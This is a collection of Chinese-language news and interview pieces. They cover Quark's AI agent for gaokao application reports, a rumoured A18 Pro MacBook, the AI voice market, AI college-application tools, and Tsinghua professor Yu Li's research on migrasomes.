这个夏天，一个数据不仅在AI圈内引起了关注，更牵动了千万中国家庭的心：不到一个月，超过1000万份详尽的高考志愿报告，由一个具备深度研究能力的Agent免费生成。这不是一次技术演示，而是一项直接关系到未来的高风险服务。提供这项服务的，是阿里的夸克。在一次内部技术沟通会上，夸克算法负责人蒋冠军将志愿报告定义为“是夸克深度研究技术的一次重要实践”。这引出了一个值得探讨的问题，当许多AI应用还停留在看似万能但可能不可靠的阶段时，夸克是如何在一个零容错的场景里，实现大规模深度落地的？它的实践，为我们提供了一个观察AI如何从玩具走向工具再进化为智能助手的真实样本。用户具体是如何与这个Agent互动的呢？过程十分简单，用户输入分数等基本信息后，用日常说话的方式告诉Agent自己的想法，比如想去哪个城市、对什么专业感兴趣。Agent随后会生成一份包含完整志愿表的深度报告。用户可以反复修改想法，多次生成报告，夸克方面提到，有用户甚至生成了一百多份报告来辅助决策。1、Agent如何成为一个“靠谱”的决策顾问？每年高考后，志愿填报的复杂性都会被重新讨论。近3000所高校、超过2000个专业，构成了一个巨大的信息迷宫。近几年，随着“张雪峰”等志愿填报专家的走红，也反映了市场的核心痛点，考生和家长缺的不仅是信息，更是一个能帮忙做复杂决策的可信顾问，这也催生了一个鱼龙混杂的志愿填报服务行业。AI能成为这个顾问吗？蒋冠军的看法很坦诚，“当前这个阶段，AI肯定是替代不了考生自己的决策”。那么，夸克要做的，或者说AI现阶段能做到的是什么？答案或许不是替代，而是成为一个靠谱的辅助决策系统。所谓的靠谱，体现在它如何处理现实世界中那些模糊、甚至矛盾的复杂需求上。比如，当用户的理想与现实冲突时。一个常见的需求是“想留在本省的好城市，但分数只够得上外省的985院校”。一个简单的工具可能会陷入逻辑死循环，但夸克的Agent会尝试像真人顾问一样权衡，它可能会主动拓宽选项，为你展示“省外985”和“省内顶尖211”各自的利弊，将决策权交还给你。更有挑战性的是当用户的需求本身就自相矛盾。夸克高考算法负责人唐亮提到了一个典型场景，“数学成绩差，但想报考计算机”。这背后是学生对专业要求的不了解。此时，一个负责任的Agent不应盲目执行指令，而是会触发一个需求澄清流程，温和地提示其中的风险，并引导用户探索更适合的选项。处理复杂场景的能力让AI从一个冰冷的执行机器，向一个能与人商量、值得参考的顾问角色迈进了一步。而要实现这一切，靠的不是单一的模型技巧，而是在后台，一套笨重但扎实的系统工程。1、“笨功夫”与“精细活”“信任”是Agent在严肃场景落地的基石。夸克构建信任的方式，可以归结为两种，一种是下笨功夫，另一种是做精细活。笨功夫下在了数据上。夸克做了几件脏活累活，他们搜集了8657个权威站点进行分级，将超过10万份PDF、Word等非标内容数字化，并组织上百人团队对关键数据进行人工校验，以确保准确率达到“4个9”（99.99%）的水平。这些工作听起来没有算法那么炫酷，但它们共同构成了一个高可信度的知识库，是模型能做出正确判断的前提。而精细活则体现在模型的调校上，必须为其注入垂直场景的灵魂。夸克为此设计的训练范式，层层递进：整个过程始于SFT（监督微调），让模型学习上万条真实专家的推理逻辑，学会像专家那样去分析问题、组织语言。在此基础上，利用RLVR（可验证奖励强化学习），针对有标准答案的事实性问题进行自动化校验，这就像给模型配备了一个24小时的事实核查员，大幅降低“幻觉”。而对于没有标准答案的开放性问题（如专业前景），则通过RLHF（基于人类反馈的强化学习），引入大量真实专家对Agent生成的方案进行打分，让模型的“品味”和“策略观”向人类专家看齐。正是这套笨功夫加精细活的组合，让Agent的决策不仅基于概率，更基于经过治理的、可信的知识与经验。1、一次成功的Agent实践，与它背后的七年夸克志愿报告的成功，是在一个垂直应用场景的胜利。但在更深的层面，它更像一次路演，展示了深度研究技术落地的一种可能性。今天的AI行业，并不缺少聪明的产品。许多大模型应用能写诗、绘画、写代码、做复杂的逻辑推理，但在单个具体任务上，却往往缺乏稳定和可信赖的表现。用户很难将一项严肃、高风险的决策工作完全托付给它们。夸克的选择似乎有些逆流而动。它没有去盲目追求一个无所不能的通用助手，而是像一位手艺人，选中了高考志愿这块硬骨头，并投入了长达七年的时间去打磨。其核心，是一种被夸克称为“深度研究”的方法论。所谓的深度并非仅指技术，更指一种能力。它体现在对场景的深刻理解上，团队没有把志愿填报看作一个简单的概率预测问题，而是将其视为一个信息搜集、自我认知、未来规划高度交织的复杂决策系统。它也意味着对数据的极致治理，团队选择了一条更艰难的路——投入上百人力去做数据的线下搜集和人工校验，以此来构建Agent可信度的地基。此种深度最终落实在对模型的精细对齐上，基于海量专家数据和用户真实反馈，夸克团队不断对模型进行强化学习，让它从一个概率机器逐渐成长为一个懂得权衡、善于沟通的决策伙伴。“志愿报告是我们对深度研究技术的一次重要实践，”蒋冠军的这句话很关键。高考场景，以其极高的复杂度和零容错的要求，成为了这套深度研究方法论的最佳试炼场。如今，这场高难度的路演结束了，夸克也已经推出了面向所有人的通用深度研究功能。这并非简单的功能上新，而是将那套经过千万次高压测试后被验证有效的方法论，开放给了更广泛的用户。它让普通人处理复杂信息、进行深度分析时，也能拥有一个专家级的Agent助手。1、从解决一个真问题开始在关于AI的讨论中，我们听过太多关于颠覆和革命的宏大叙事。但夸克的故事提供了一个更朴素的视角，AI的价值，或许始于脚踏实地地解决一个真实的、具体的问题。它不追求成为无所不知的神，而是努力成为一个在特定领域靠谱的专家。它没有因为技术的复杂而忽视最根本的用户需求，也没有因为商业回报的不确定性而放弃对信息普惠的坚持。事实上，夸克已经连续7年为高考生和家长提供全免费、无广告的高考信息搜索和志愿填报服务。这意味着夸克并非AI浪潮下的投机者，而是将技术落地为社会价值的长期主义者，也让今年的Agent应用更像是一场厚积薄发。超过50%的用户来自三线及以下城市，以及深入乡村的公益行动，都让这项技术多了一份温度。或许，未来真正能改变我们生活的AI，不是那个在云端不断刷新性能分数的庞然大物，而是一系列像夸克志愿报告这样，专注、深入、并真正融入我们工作与生活场景的Agent助手。夸克的高考故事，可能只是这个新篇章的开始。

手机芯片搬进Mac什么是电脑？这个开放问题，iPad Pro是答案之一，它忙着把M处理器塞进5mm的谨慎，绽放出满满的「生产力」。但如果MacBook反而用上了手机的A系列处理器……那还是电脑么？库克这次不是要把Mac芯片偷到iPad上，而是要把iPhone芯片偷到Mac上今天早些时候，MacRumors发文确认：去年夏天，MacRumors分析师Aaron就在macOS 15 Sequoia有关Apple Intelligence的后端代码中，发现了一台型号标识符（model identifier）为「Mac17，1」的新设备。根据MacRumors的说法：后续各种渠道分析和确证，最终认定这款标识符「Mac17，1」的新设备使用的处理器为iPhone 16 Pro上同规格的A18 Pro芯片，而非M系列Apple Silicon处理器。与之相呼应的是，分析师郭铭錤也在6月末发表了一篇预测，指出苹果供应链巨头深圳长盈精密将会为一款「低价版13寸MacBook」提供外壳，这款低价版MacBook预计会使用A18 Pro处理器，以及类似iMac的多彩搭配。此外，郭铭錤还在预测中对这款A处理器MacBook的投产时间做出了预估。根据预估的数据可以猜测：新的MacBook预计于2025年Q4末或2026年Q1投入量产，比较可能的发布时间为2026年的春季发布会（一般是每年的三、四月）。苹果计划在2026年让笔记本总出货量回到疫情期间时的约2500万台/年，因此可能会为这款新的MacBook做出一些有吸引力的定价，预期让它在2026年达到500～700万台的出货量。相对较低的定价，既不属于Air也不属于Pro系列，以及别出心裁的处理器，当这三者结合在一起时，我们立刻就会发现它的历史相似性：12寸无印MacBook(2015)，这是昨日重现了？作为MacBook历史上无可争议的体型巅峰，发布于2015年的12寸MacBook，为当年的笔记本市场带来了一场地震。凭借着最厚处仅1.31厘米的体型，它甚至直接革了同年MacBook Air的命。在12寸MacBook上，苹果试图重演乔布斯从信封袋里拿出MacBook Air的场景。也是在这款产品上，糟糕使用体验和性能，让苹果一度背负骂名。除了臭名昭著的初代蝶式键盘之外，无论是初期的酷睿M-5Y31还是后期的i7-7Y75处理器，始终都饱受「低频功耗下不去，高频性能上不来」的折磨，在12寸的小身板里一边发热一边卡顿，为那几年的英特尔受害者名单里再添一员。不过自从2020年苹果宣布与英特尔割席、推出自研的Apple Silicon以来，当大家见识到M系列处理器那堪称「遥遥领先」的能效比之后，要求苹果重新把12寸MacBook端出来的呼声再度高涨。而从目前已知的关于这款A18 Pro处理器的MacBook信息来看，似乎每一项指标都很适合用来复活这款曾经的苹果笔记本电脑便携性之王——非常可惜的是，这个可能性不大。至于个中原因，倒也不难猜测：自从iPad产品线用上M系列处理器、官方推出带触控版的Smart Keyboard配件、以及面积上涨到13寸以来，「超便携的MacBook」和「超大屏的iPad Pro」就一直处在互相打架的位置上。如果不是iPadOS与macOS泾渭分明的区隔，两者互相影响销量几乎是必然的结果。而此时我们将所有在售的MacBook（绿色）与iPad（蓝色）产品线所能涵盖的屏幕面积拉一个表格，就能看到这种重叠的严重性：我们能够看到的是，在12寸这个位置上，自从2015款MacBook以来就一直空缺着，反而是旁边的11寸和13寸成了苹果目前产品涵盖最密集的区域。而如果按照广大网友们的期盼，重开12寸无印MacBook的产品线，就会有两个大概率的后果：MacBook与iPad在屏幕面积上的重叠进一步加大，这种混乱且重合的产品线对于普通消费者来说是非常困惑的。让消费者陷入「买个比iPad小的MacBook」还是「买个比MacBook都大的iPad」而无法下单，从商业销售的角度来看是非常严重的问题。「供应链管理大师」库克需要为12寸机型单独开设带刘海的Liquid Retina显示屏生产线，以及全新的机身模具生产线，两项加起来成本动辄就是几千万美元。从商业角度上看，对于这样一款消费者接受度未知、与已有产品线互相干扰的新品来说是很不划算的。因此，无论从成本还是销售角度考量，这款使用A18 Pro处理器的新MacBook都不太可能会是12寸的机型，而是会和13寸的MacBook Air共同分摊零部件成本。这在苹果目前产品战略趋于保守、将主要精力都投入AR类产品的背景下，应该是最合理的一种可能。当然，哪怕13寸也并不妨碍这款新MacBook有潜力成为一个非常有趣的产品。从今年手机领域的趋势可以洞见，未来两三年里，「轻薄」可能会再次成为电子产品的潮流，将将5mm的iPad Pro我们已经见识到了，而「薄爆表」的iPhone 17 Air也已经不远，这款新的MacBook有可能会成为苹果进一步压缩MacBook厚度的试验田——十年前的12寸MacBook就已经将主板尺寸集成到了一个难以想象的程度毕竟考虑到A18 Pro的发热控制在iPhone 16 Pro上（相比前代）已经相当出色，如果放进面积辽阔的13寸MacBook里，虽然机身尺寸无法回到当年的辉煌，但是能够在被动散热的同时将电池厚度压缩到什么程度，简直不敢想象。换个角度想，下一代MacBook的主要竞争力或许并不是小，而是薄。

过去半年，「AI语音」赛道正密集地获得融资。尤其引人注目的是，这些融资多为大额，并且投向早期团队。比如，前不久AI语音应用Wispr Flow靠「默念输入」，完成了3000万美元的A轮融资，累计融资额已达5600万美元；语音模型公司Cartesia在3月份完成了6400万美元的A轮融资，累计融资9100万美元；AI语音合成公司ElevenLabs更是在1月份宣布完成1.8亿美元的C轮融资，估值超过30亿美元。与此同时，无论是Meta、OpenAI、Google等科技巨头，还是MiniMax等创业公司，都在密集发布自己的语音模型或语音产品。Siri也被曝出或将被ChatGPT或Claude等模型接管，来跟上语音交互的进展。这些消息无一例外都指向了AI语音的火爆。为什么过去半年多以来，AI语音领域会如此集中地爆发？声智副总裁黄赟贺认为，语音对话从一个App中的功能模块，迅速进化为AI时代入口级别的存在，与大模型的加持有极大关系。在智能音箱红极一时的年代，大部分我们熟知的智能音箱品牌都搭载了声智的远场声学交互技术，比如小爱同学、天猫精灵、小度音箱等等。而「小爱小爱」的唤醒词，实际上也是来自于声智。这家公司创办于2016年，一直在声学+AI交叉领域探索。然而，作为一家在幕后提供AI声学技术的公司，在大模型浪潮来临之后，果断选择下场投身开发自己的C端产品。毫无疑问，他们看到了这波「大模型+语音」浪潮里新的商业机会，其旗下的AI耳机目前出货量已接近100万套。前不久，极客公园与声智副总裁黄赟贺聊了聊AI语音市场的爆发逻辑、语音交互的「卡点」，以及它将如何影响我们的未来。以下内容根据黄赟贺的讲述和声智的论文整理而成：01、AI语音为何现在爆发了？最近两年，越来越多的AI语音初创团队获得大额融资，集中爆发。其中，一个很重要的推动因素是，大模型让声音这项基础能力首次实现了「可编程化」。「可编程化」这个词，意味着将一种能力或者一个对象，通过清晰的接口和逻辑，变得可以被代码自由地调用、组合、修改和控制。过去，文字是可编程的，图像是可编程的，甚至视频也是可编程的（比如视频编辑软件）。但声音更多的是一种「输入」或「输出」的介质，其内部的复杂结构和信息，很难被软件直接「编程」和「理解」。传统的语音识别，更多是把声音转换成文字，然后对文字进行处理。比如，之前在深圳、成都有很多做声音标注的团队，拿到语音之后，再人工转换成文字，打上不同的标签，比如各种特征、意向的标签。大模型来了之后，打标签的这项工作可以交给大模型，它比大量的人工团队标得快和准。以前做NLP的背后都是一堆苦逼的运营在那里打标签，让AI系统能够识别每个句子的意向。过去，语音的开发，每增加一个功能，都需要从头写代码，费时费力。比如，想让智能音箱支持「点外卖」，得单独开发一套语音识别和语义逻辑，成本高、周期长。而现在AI大模型可以解决了。更重要的，依靠大模型对多模态数据的深度理解能力，对声学信号的更细致解析，使得声音本身携带的除了文字信息之外的更多信息，开始被AI系统直接捕捉、理解和「编程」。这种可编程化，意味着AI可以像处理数据一样处理声音。它可以分析声音的频率、振幅、波形，提取出情绪特征、识别不同的声源、声源距离、甚至预测你的意图。这时，声音包含的不再仅仅是「你说了什么」，更是「你如何说」、「你在哪里说」、「谁在说」以及「你说了之后希望发生什么」。由此，声音也成为了真正的交互引擎。02、真正的语音交互，不是「Voice」而是「Sound」其实，很多人以为，语音交互就是「Voice」（语音）。但其实Voice这个词是一个狭窄概念。真正的语音交互，核心不是「Voice」，而是「Sound」（声音）。Sound里面包含了Voice。具体来说，「Sound」包含了更丰富的元素：语调、音色、节奏、情绪，更重要的是环境音。环境音里面可能包含了环境中的各种非语音信息，比如背景音乐、环境噪音（风声、雨声、车声）、物体发出的声音（开门声、打字声）、以及人类语音中包含的非语义信息（语调、语速、音色、语气词、叹息声、笑声、哭声等）。比如说，你咳嗽的时候，跟AI说话，它可能会识别出咳嗽，然后跟你说多喝水；比如，你在咖啡馆说，「帮我找个安静的地方」，AI不仅要理解你的指令，还要从背景音中判断出你当前的环境嘈杂，从而推荐附近的图书馆。当我说「下一代对话交互的入口并非『Voice』，而是『Sound』」时，我指的是AI系统将不再仅仅依赖于识别你说的「词」，而是能够全面感知和理解你所处环境的「声学场景」中的所有关键元素。只有当AI能够全面感知并解析「Sound」中包含的这些多维度信息时，它才能真正理解用户的深层需求，提供更精准、更个性化、更富有情感的交互。这才是真正的「语音交互」，它不仅仅是「听懂」字面意思，更是「听懂」你的「言外之意」和「心声」。03、语音交互的「卡点」，大厂烧钱也没用尽管大模型带来了语音交互的巨大飞跃，但语音交互当下依然存在一个核心的「卡点」，而这个卡点根植于物理学，具体来说，就是声学。我们常说「听清、听懂、会说」。「听懂」和「会说」的能力，正在被大模型以前所未有的速度提升。但「听清」这个最基础的环节，却受到物理层面的制约。如果AI听不清你的指令，即便它能「听懂」再复杂的语义，能「会说」再动听的话语，那也都是空中楼阁。比如说当下最热门的具身智能，现在很多机器人都是电驱动的，那么它带来几个大问题，一方面是电路的噪声本身就很大，另一方面是关节噪声，还有就是很多机器人是金属材质，厚厚的，声音在穿透时会大幅衰减。所以，机器人动起来的时候，噪声很大，尤其在室外，更难听清楚人的指令。要么大声喊，或者拿麦克风喊。因此，现在很多机器人都要靠遥控器来控制。这方面，其实就需要对声学层面的突破，比如说环境噪声的抑制，比如电路底噪的抑制，还有啸叫的抑制、混响回响的抑制等等。而这些就是物理学科的逻辑，它需要数据样本，需要know how的壁垒，不仅是技术问题，而是时间的问题，需要时间去采集声音、做训练。这不是烧钱能解决的。让AI准确地「听清」用户的指令，依然是一个世界级的难题。而声学相关的人才很少，所以像谷歌、微软、苹果经常会收购声学技术的初创公司，几乎只要出来一家就会收购他们。大家都明白，要构建真正的下一代人机交互系统，拥有核心的声学能力是基石。04、语音交互的下一站，是实现「共情」现在很多AI应用的日活、留存不高，有个很大的原因就是普通人本身是不会提问的，让人向大模型提问，这本身就是一个非常高的交互门槛。好的提问还需要学识、表达等基础，所以停留在文字层面的问答，本身就是一种门槛限制。而语音带来的一种可能性是，它正在开启一个全新的阶段——人机交互的「共情模式」。如果把语音交互比作一个「UI界面」，那这个界面会长什么样？我们可以做个推演，它的构成要素可能会有：情绪识别：AI通过分析语调、音量、语速，判断用户的情感状态。比如，你的声音颤抖，AI可能推测你在紧张或伤心。意图理解：不仅听懂你说了什么，还要明白你想做什么。比如，你说「播放音乐」，AI会根据你的情绪，决定是放摇滚还是古典。声纹识别：通过独一无二的音声波特征，区分不同用户。比如，家里的智能音箱能自动切换到「孩子模式」模式，只为孩子的声音提供安全的回应。情绪生成：AI的回应需要带有情感化的表达。比如，用温暖的语气说「别担心，我来帮你解决」，而不是机械的「好的，正在处理」。这些要素的背后，是AI从「功能导向」到「情感导向」的转变，AI会与人实现共情。这种交互，能显著提升长时间交互的质量和亲密感。不仅如此，从狭义的「Voice」拓展到广义的「Sound」，当AI能接收到的不仅仅是用户的指令，而是整个物理世界的实时反馈时，我们可以去构建一个「声学世界模型」。这个「声学世界模型」可以理解声音在物理世界中产生、传播和交互的根本规律，它不仅要「听清」和「听懂」，更要具备「声学常识」和「声学推理」的能力：它能从一声闷响中分辨出是书本落地还是箱子倒塌；能通过回声判断出房间的大小与空旷程度；更能理解「脚步声由远及近」背后所蕴含的物理运动逻辑。未来，当这样一个声学世界模型与视觉、语言大模型深度融合时，具身智能机器人将不再「失聪」和冰冷。这也是我们正在做的。

一万五的张雪峰辅导课太贵买不起，免费的AI张雪峰更有性价比！高考结束了，摆在1335万考生面前新的难题，就是填报志愿。都说三分考、七分报，但2000多所普通高校、1000多个专业要如何选，绝对是个技术活。很多很多互联网大厂正是看准了这波市场的刚性需求，纷纷亮出了各自的“AI志愿大模型”，杀入了这条赛道。这类AI志愿填报产品大多都能提供“定制化”服务，除了输入分数、院校等信息，还可以输入自己的家庭背景、读书预算、本科毕业后想读研还是工作、未来的职业规划等信息，AI会综合高考成绩和这类信息完成“定制化的推荐”。方案生成迅速，更重要的，像夸克、百度、腾讯等大厂提供的还是免费服务。相比于动辄几千、上万块，而且还要排队等候咨询的机构服务来说，AI志愿填报简直就是考生、家长眼中的平替神作。AI填报志愿有多火？在这种火爆背后，依然有质疑声，AI填志愿真的靠谱吗？深层解读，详见视频↓

“如果把细胞想象成一个城市，它里面有各种各样的功能模块，行使这些功能的就是细胞器。”清华大学教授俞立日前在苏州冷泉港亚洲访谈时表示。早在2014年，原本做细胞自噬的俞立教授意外发现一种新的细胞器——迁移体。这也是近年为数不多仍在细胞里面发现新的细胞器的重要发现，迁移体一经发表，立即引起全球同行的兴趣。围绕迁移体是细胞器，还是新的细胞亚结构？也在学术圈热烈地讨论着。自从发现迁移体后，俞立将研究方向转移到这个新的研究方向上。彼时与他在同一工作单位的颜宁教授甚至为它取了一个好听且形象的名字：石榴体。然而，随着研究的深入，俞立发现迁移体“超级地复杂”，它不仅与心血管疾病有关，同时也与肿瘤的发生发展密切关联，当然留下更多的还是正在被解决的科学问题。以下为近期我们在冷泉港亚洲会议上对俞立教授的访谈视频和据此整理出的文字版。问：俞老师，您能否介绍下细胞中有哪些主要的细胞器，它们对维持机体功能有哪些作用？俞立：你可以把细胞想象成一个城市，所有的城市都需要各种各样的功能块。比如说，需要有电闸，需要有能源供给，需要有交通系统，需要有垃圾处理站。在细胞里面，实际上就有这么一套所谓的系统——细胞器，它们是一个个形态独立的结构，来做某一类功能相近的事情。比如说，线粒体是细胞里面的“发电站”，我们的能量是由线粒体来供给的；溶酶体相当是“垃圾焚烧站”，所有的东西丢进去以后回收，然后被降解掉；内质网是细胞里面进行蛋白合成的主要地方；高尔基体是货物的“分选站”，就像快递分选站一样，不同的分子通过高尔基体分选到其他地方。细胞结构简易图丨图源：learn.wab.edu当然，还有一些在细胞的外面，比如说纤毛，纤毛是我们认识的第一个细胞器，它的作用是感知。最重要的是细胞核，我们所有的基因、遗传物质都藏在里面。问：常见的细胞器早在几十年前甚至上百年前就已基本发现了。2014年，您发现了一种新的细胞器——迁移体（Migrasome），这的确不多见，您能否介绍下迁移体的发现历程？俞立：为什么我们当时叫它细胞器，实际上我们在2012年就开始做这个工作，当时发觉它可以有几种不同方向来命名它，它可以作为一个细胞外囊泡（EVs）释放出去，可以把它叫做细胞外囊泡，但同时它有很多功能，又不是作为细胞外囊泡可以解释的，所以我们思来想去，又问了很多专家，就觉得用细胞器来命名可能会比较恰当。我想在这说一下，细胞器是历史上形成的一个名字，迁移体是不是细胞器，需要时间检验，要得到大家的承认。目前，我们一直在文章里面用organelle（细胞器）这个词，倒是没有碰到在论文发表方面的挑战，而且我们也有越来越多的证据表明：迁移体的主要功能是分泌，也就是细胞专门用它来进行分泌，所以有些时候整个迁移体会离开细胞，变成一种胞外囊泡，但很多时候，它分泌的东西一旦分泌出去以后就缩回去了，因此我认为它是多种功能复合在一起的结构，我们现在还是暂定认为它是一个细胞器。这里我只是想稍微强调一下，细胞器的定义在历史上是怎么来的。我现在更喜欢叫它为一个“细胞亚结构”，因为叫做亚结构是没有异议的，这不是一个主观的看法，而是一个客观的描述。迁移体的发现很有意思。我自己原来是做细胞自噬，做自噬就要做很多电镜。有一天，我在做自己特别喜欢做的一个实验，就是到电镜室里面去拍照片，我老是看到细胞外面会有一些碎片。有一次，细胞的碎片做得特别好的时候，我发觉一个大的泡里面有很多小的囊泡，看着就像一个切开的石榴，所以最早的时候我们把它叫石榴体，这还是颜宁帮我们起的名字，她说你就叫石榴体吧，我还把它写到我们的第一篇文章里面。那时候，我们看见迁移体以后，查了以前的文献，没有见过类似的报道，这么规则这么漂亮的一个结构。我的直觉告诉我，在进化上面，这个可能会是比较重要的，因为你想要设计、做出这么一个东西来，应该需要经过亿万年的进化，所以我觉得应该值得做，很快地把我的研究方向从研究自噬切换到了研究迁移体。问：迁移体是怎么形成的，结构是怎样的，在细胞中发挥哪些重要功能？俞立：迁移体的形成过程，一开始我觉得是细胞往前跑后面留下一点碎片，经过十多年的研究，我们发现它超级地复杂：在迁移体形成之前几个钟头，细胞的最前沿有一个酶会固定下来粘在胞外基质上面，也就是在细胞的底层膜上，它粘到那个点以后就会长出迁移体的点，然后通过它催化了一系列的生化反应，招募其他酶。你可以想象一下，就像我们要建一栋楼一样，最重要的工作不是后面建的这个楼，而是打地基，所以有很多的生化反应，这像是用打地基的方式把所有的材料运到迁移体要形成的这个位点上，然后等一个恰当的条件成熟时，通过生化反应的联动以及一个叫Tetraspanin（四跨膜蛋白）富集的微小结构域，你可以把它理解成砖块，再用一个很黏的lipid，就是鞘磷脂，你可以把它想象成砌墙的灰浆水泥，最后就把迁移体砌出来了。迁移体形成后，要装了货物才有功能。货物是通过细胞里面的马达蛋白运送，你可以把它想象成卡车，拉住特定的货物，把它拉到迁移体里面，然后让它在里面行使功能。这大概是迁移体形成过程，有砌墙、装东西过程。这些过程都是被一系列生化、生物物理反应来调控的。那么，迁移体的功能是什么呢？主要体现在细胞层面上。第一，它是细胞进行分泌的一个位点，正常的细胞分泌特别重要，因为任何一个细胞需要放出信号，让其他细胞知道我在干什么，然后之间彼此协调，这在体内超级重要，比如说一个免疫反应，牵扯到很多不同的免疫细胞，对于同样一个病原物做出反应，它们之间的通信就特别重要。在细胞水平上，我们发现迁移体是运动的细胞专门用来释放这些信息分子的一个结构。第二，在另一些情况下，比如说有一些坏掉的重要细胞器，如线粒体坏掉了，那么坏掉的线粒体也可以利用同样的机制，扔到迁移体里面，从细胞里面被清除出去。我们知道的比较少的方面，很多重要的核酸比如mRNA，也会主动地运输到迁移体里面。我们知道这个事发生了，也知道它是怎么运过去的，但我们还不知道这意味着什么。有一个可能性，这些mRNA装在迁移体里面，当它们进入另外一个细胞里面，就可以变成蛋白质，调控另外一个细胞的工作。以上是迁移体在细胞中发挥的功能，而在机体水平上，我们过去十年花了大量的时间，建立了不同的（系统），有斑马鱼系统、鸡胚系统、小鼠系统，现在也在临床样本上做。我们发觉最重要的两个方向：一个是发育，一个是免疫。在发育、免疫里面最重要的功能，都是把特定的信号以细胞因子、催化因子等形式来存在，在特定的时间递送到特定的地点上，从而起到在系统水平上调节机体反应的作用。你可以把它想象成一个城市里面的红绿灯系统，或者是一个交通指挥系统。问：迁移体的异常与哪些疾病有关，未来能针对迁移体开发出新疗法吗？俞立：这确实是我们正在做的。现在我的实验室里面任何时候都有各个医院来的医生，年轻医生在他们的临床实践里面已经发觉有迁移体的存在。他们带着问题到我的实验室，利用我们的技术、对迁移体的理解，以及做好的动物疾病模型来推动临床转化。我们发现迁移体跟心血管疾病，尤其是去年发表的一篇文章，发掘迁移体是凝血系统的一个核心成分。那么问题就来了，迁移体太多的时候怎么办，会不会引起异常凝血，是不是会引起心梗，会不会引起脑梗。我们有的研究成果已经在大规模地做IIT（临床研究），所谓的IIT就是和医生一起合作的临床研究，我们已经收集了上千个病人的样品，目前的data是非常有意思。迁移体还与其他疾病有关，比如说肿瘤的发生发展，尤其是肿瘤的转移方面。事实上，我们的一部分技术已经转化到一家公司：Migrasome Therapeutic。这个公司主要目的就是利用迁移体作为新的诊疗手段，他们起了一个很容易记的名字3R：Read、Rebuild、Rectify。Read是通过迁移体上面带有的信息，找出哪些信息是跟疾病相关，再来做诊断；Rebuild是利用迁移体作为机体里面的信号传送系统，让它来转我们的药物；Rectify则是修正，利用迁移体作为一个靶点，当迁移体太多引起的疾病时，对它进行修正。